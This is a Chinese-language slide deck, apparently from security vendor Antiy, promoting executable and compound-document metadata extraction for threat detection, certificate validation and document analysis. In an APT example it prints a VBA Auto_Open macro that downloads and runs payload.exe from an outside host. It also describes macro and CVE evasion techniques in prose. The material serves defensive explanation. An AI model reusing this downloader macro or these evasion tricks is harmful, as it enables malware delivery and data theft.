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为什么要将执行体元数据化

安天AVLSDK的执行体元数据化能力

安天协同用户达成全量执行体识别和精细管控



为什么要将执行体元数据化



• 执行体的元数据化是指将执行体的元数据和执行体本身分开存储的过程。执行体的元数据包括

但不限于来源、成分、结构、用途、行为、脆弱性等维度的信息

执行体和执行体的元数据化

执行体的元数据化

某APT组织攻击文档

Sub Auto_Open()  

Dim result As Long 

fname = Environ("TEMP") & "agent.exe" 

result=URLDownload (0,"http:cod.com/payload.exe",fname,0,0) 

Shell fname

End Sub

1、来源：作者xxx，编辑时间：2021-06-19

2、文档名称：某军工企业招聘

3、成分信息：内嵌恶意URL[http]://cod.com

4、脆弱信息：cve-2018-11882溢出漏洞

5、异常行为：auto_open宏自启动

什么是执行体

• 网络空间的基本组成要素

• 系统运行的基础可观测对象

• 网络治理过程中的基础对象

• 网络空间对抗中的“弹药和装置”



为什么要将执行体元数据化
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• 粗糙的标识如文件路径、Hash值，很

难支撑功能执行逻辑、发布方的判断

• 浅层次的信息不足以支撑批量化的关

联、溯源等深层次的工作

粗糙的标识难以支撑精细化的治理

执行体的元数据化是网络治理清晰化的基础，是网空威胁防御的重要支点



执行体元数据化方法
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EDR

• 可提取文件路径、哈希、大小、IOC等

• 没有提取或充分提取签名、加密混淆手段、组成成分等重要信息

沙箱

• 可揭示细粒度的本地与网络行为

• 但存在执行体无法触发、不能完整执行、效率低的问题

杀毒软件

• 其中间过程静态拆解可提取元数据

• 但主要服务与恶意代码检测，未输出拆解结果

检测对象 检测结果

框架 格式识别

拆解鉴定

分析 情报承载

能力未开放与输出

威胁检测工作过程



安天AVLSDK的执行体元
数据化能力
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安天AVLSDK可提取的执行体元数据

历史应用者

来源
发布者

第三方组件

依赖的操作系统

访问URL

成分

依赖项关系

依赖的解释器

环境
行为

自启动

加载模块
加解密

用途

脆弱性
名称

版本

漏洞

签名
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现有安全软件签名机制的不足

• 可以验证软件的真实性并保证它来自合

法来源且未被篡改

• 数字证书是数字签名的核心，在诸多层

面被广泛的应用，如PE代码签名、固

件签名，驱动签名等

数字签名是可信计算的重要组成部分
• 无法在离线场景完成证书的合法性和有效性的验证

依赖于联网进行验证，一些拥有被撤销证书的恶意软件可绕过该机制

• 无法检测拥有合法签名的恶意软件

通过验证签名是否有效进行运行管控，有的APT组织盗用合法证书给自

己的攻击工具签名即可绕过该机制

• 无法精准识别身份的信誉度

利用身份相关数据构建证书链，而不能判定证书持有者的信誉度。证书

持有者签发带有恶意插件（如广告件）的应用，可绕过安全软件签名机制

• 无法检测使用假冒签名证书的恶意软件

未对证书属性（如签名算法）合法性验证，攻击者利用此攻击点，伪装

成可信任的程序，获得签名验证机制对执行体的合法化认证

现有安全软件签名机制的不足与问题



数字签名的元数据化

带有签名的PE文件结构

签名体结构

➢ 综合判断签名证书的权威性

➢ 综合判定签名是否存在密钥泄露等可疑点

➢ 综合判定是否被APT组织利用

➢ 综合判定证书合法有效性

➢ 综合判定是否被广告件利用
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数字签名元数据化的价值

• 形成厂商信誉库为辅，用户自定义为主的双重信誉评价机制

• 基于输出的签名元数据，用户可自定义黑白名单或预设相应的守候或管控条件

• 通过签名元数据化可形成收敛的签名管理

• 结合HASH维度的治理达成更精细的管控

支持用户构建专有化签名清单，形成双信誉机制

更收敛更精细的执行体管控

有效

无效
VS

有效性

权威性

是否存在秘钥泄露

是否是广告件

是否被APT组织利用

是否存在漏洞

……



废止证书离线场景下的验证

场景

• 在离线场景下，因无法连接远程证书查询服务器实时查询证书状态，攻击者使用废止证书也可绕过检测

基于元数据化实现离线场景下废止证书的识别

• 安天AVLSDK可对执行体进行身份合法性相关的元数据提取，包括crl下载连接，证书序列号，签发者信息等，结合轻

量级离线证书库，综合验证证书合法性

离线场景 安天EDR产品签名结果显示撤销库中证书元数据(序列号)
提取的证书元数据及
微软判定签名结果

在线联网检测结果验证



盗用证书签名逃逸检测的攻击识别

场景

• 证书被攻击者盗用，使恶意执行体规避了系统签名的验证机制

基于元数据支撑盗用证书的执行体识别

• 安天AVLSDK可对执行体进行元数据提取，得到身份相关的元数据信息，包括指纹，签发者信息等，结合恶意代码检测特征库，验证证书

是否被盗用

微软签名检测结果及
签发者身份信息信息 Winnti组织利用/盗用证书



“低信誉”证书识别

场景

• 证书未被盗用，但证书签发的执行体存在风险行为，如合法证书签发的广告件

基于元数据支撑拥有合法签名的广告件识别

• 利用端点产品侧安天智甲防御检测系统，可以对执行体进行证书身份相关的元数据提取，包括指纹，签发者信息，厂商信息等，结合历史

对该证书签发的执行体的判定信息，识别该证书处于低信誉值状态，结合恶意代码检测特征库，判定该执行体为广告件

微软签名检测结果及
签发者身份信息数据

智甲分析检测结果



伪造证书的识别

基于元数据识别伪造证书

• 安天引擎可以对执行体所携带的数字签名证书进行证书算法相关的元数据提取，包括签名算法，签名哈希算法等。可基于加密算法技术原

理判断证书的签名算法是否与标准算法匹配，如椭圆ECC算法中所提供的G（椭圆曲线上的一个点）是否与标准证书算法匹配，从而判定

是否为伪造证书

公钥和申请信息发给CA
利用证书中心私钥签名，

生成数字证书

公钥

用户证书

用户证书

受信任CA证书

证书链

私钥

合法证书下发

伪造CA证书

公钥保持一致

用户证书

伪造后证书链

伪造CA证书

使签名中的证书看起来是来自可信源

场景

• 证书验签算法存在漏洞风险，攻击者可利用漏洞（如CVE-2020-

0601）进行证书的伪造，攻击者利用证书签名算法（如椭圆算法），

构造了欺骗性的代码签名根证书，对恶意代码进行签名，从而使该

文件看起来合法



为什么要将复合文档元数据化
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• 用户的敏感和隐私性信息的载体，不适合完整采集分析，

将源文件发给厂商进行分析

• 支撑不提交文档内容情况下的脱敏分析、标记和溯源等

• 客户防御场景的主要风险入口之一，存在多种利用复合

文档的攻击方式

序号 威胁类型 威胁分类

1

利用宏攻击

公式宏

2 公式宏隐藏

3 XLSB公式宏编码

4 VBA宏

5 利用模版攻击 远程模版注入

6

利用内嵌对象攻击

内嵌DDE

7 内嵌OLE

8 内嵌钓鱼URL

9 内嵌ShellCode

10 多重嵌套

11 利用漏洞攻击 CVE漏洞

12 利用加密攻击 文档加密

基于复合文档的攻击手段



利用内嵌恶意宏的文档进行鱼叉邮件攻击

 攻击投放阶段

 数据回传阶段

 数据窃取阶段

加载器

窃密木马

下载/释放

浏览器Cookie

保存的密码

钓鱼邮件

内嵌恶意程序
宏文档

钓鱼网站
公共网站

系统信息

数字钱包

电子邮件

远程连接

服务器

恶意程序

窃取

回
传

数据

执
行

TCP/HTTP/SMTP/FTP等

投放 下载 下载/释放

攻击者 键盘记录

重要文件

. . .

. . . . . .



复合文档检测面临的挑战
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攻击者利用复合文档的易篡改、易嵌套、易填充等特性躲避检测

1、通过元数据域掩藏方式躲避检测

在属性域内嵌恶意URL地址，利用正常VB代码读取属性域中的恶意

URL，下载执行，躲避检测

2、通过多层嵌套方式躲避检

将恶意URL拆分成多个字串，将其嵌套在不同sheet表不同单元格中，

利用正常的vba宏，读取拼接内嵌在单元格中的url，下载执行，躲避检测

3、通过多个cve漏洞躲避检测

同时包含3个相近的 cve, CVE-2018-0798 / CVE-2017-11882/ CVE-

2018-0802等，通过不同cve触发漏洞执行，在某个cve被补丁修复难以触

发，但可尝试触发其他漏洞

4、通过加默认密码躲避查杀

office有一个内置的默认密码，攻击者基于这点通过对恶意文档增加默

认密码，来改变office的原始结构，导致杀软认为该文档加密而跳过检测

使用了01的标记用于进入到cve-0798的流程，通过cve-0798进入对应的cve-11882

属性域中的标记被恶意填充恶意URL



复合文档的细粒度元数据提取
序号 类别 字段 来源 描述

1 身份信息
文档作者 属性 文档编辑者，文档的归属
归属公司 属性 文档所归属的公司
内嵌邮箱 正文 正文中包含的邮箱号(来源、引用、目标对象等)

2 隐私信息
语言 属性 编写文档正文所使用的语言(中文、英文、俄文等)

包含账号、卡号 正文 正文中包含的银行卡、登录账号等隐私账号信息

3 环境信息
依赖解释器名称 属性 打卡文档需要使用的软件名称(如Office,PDF等)

依赖解释器版本 属性 打卡文档需要使用的软件版本(如Office2016)

依赖运行平台 属性 执行文档的平台(如windows)

4 成分信息

编码方式 结构 文档编码的方式(如Office常采用XLSB编码)

衍生数据类型 结构 包含的所有子文件个数，以及格式类型
内嵌的OLE对象 结构 内嵌在文档中的其他对象数据(如内嵌在PDF中的JS）
内嵌宏代码 结构 内嵌在文档中的宏代码
内嵌的网络资源 正文 内嵌在文档正文中的URL、Domain、IP等

5 用途信息
文档主题 属性 文档属性中标记的主题
文档标题 属性 文档属性中标记的标题
敏感词 正文 文档正文中包含的敏感关键词列表

6 脆弱信息
CVE漏洞 结构 包含的CVE漏洞编号列表
包含shellcode 数据 可疑的shellcode数据
文档破损 结构 文档结构破损，无法正常打开

7 异常信息

文档加密 数据 文档通过密码加密，需要密码才能打开
内嵌可执行文件 结构 文档内嵌了一个可执行文件(如包含exe文件)

内嵌钓鱼、挂马
URL

数据 文档内嵌了钓鱼URL

属性域包含代码 属性 文档属性中包含代码
正文包含脚本 正文 文档正文包含脚本
宏自启动 行为 文档打开或关闭能自启动宏
内嵌脚本加密混
淆

行为 内嵌的脚本进行了加密混淆

设置安全等级 行为 内嵌的脚本修改文档安全等级
设置保护视图 行为 内嵌的脚本修改文档保护视图
调用Active控件 行为 内嵌的脚本调用Active控件进行系统操作

8 信誉信息
信誉度 综合 文档的信誉度，可信、恶意、未知等
威胁度 综合 文档的威胁度，低危、中危、高危等

某复合文档元数据示例



客户场景下的文档脱敏分析与追溯

智甲全网追溯

上传异常、成分、脆弱性元数据 上传身份、隐私、用途等元数据 

终端资产管理

终端安全查杀

终端合规检查

访问控制管理

历史威胁溯源分析

远程取证分析

可视化运维管理

监控—新增 主动投递

敏感文档
复合文档

  

可执行体治理

安
天
智
甲
客
户
端
集
群

安
天
智
甲
管
理
中
心

PC机

安天智甲客户
端

服务器

安天智甲客户
端



安天协同用户达成全量执行
体识别和精细管控



安天协同用户达成全量执行体识别和精细管控
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从特征工程向知识工程演进的后端工程体系

全量执行体元数据化能力

威胁对抗工程体系 安天AVLSDK威胁检测引擎

用户

传统反病毒规则 向量级规则

网络治理清晰化 自维护的私有知识运营闭环客户优先的双重信誉机制

安全产品

清晰化的网络治理与更有效威胁对抗能力

知识标签

执行体线索信誉知识



安天冬训营 wtc.antiy.cn


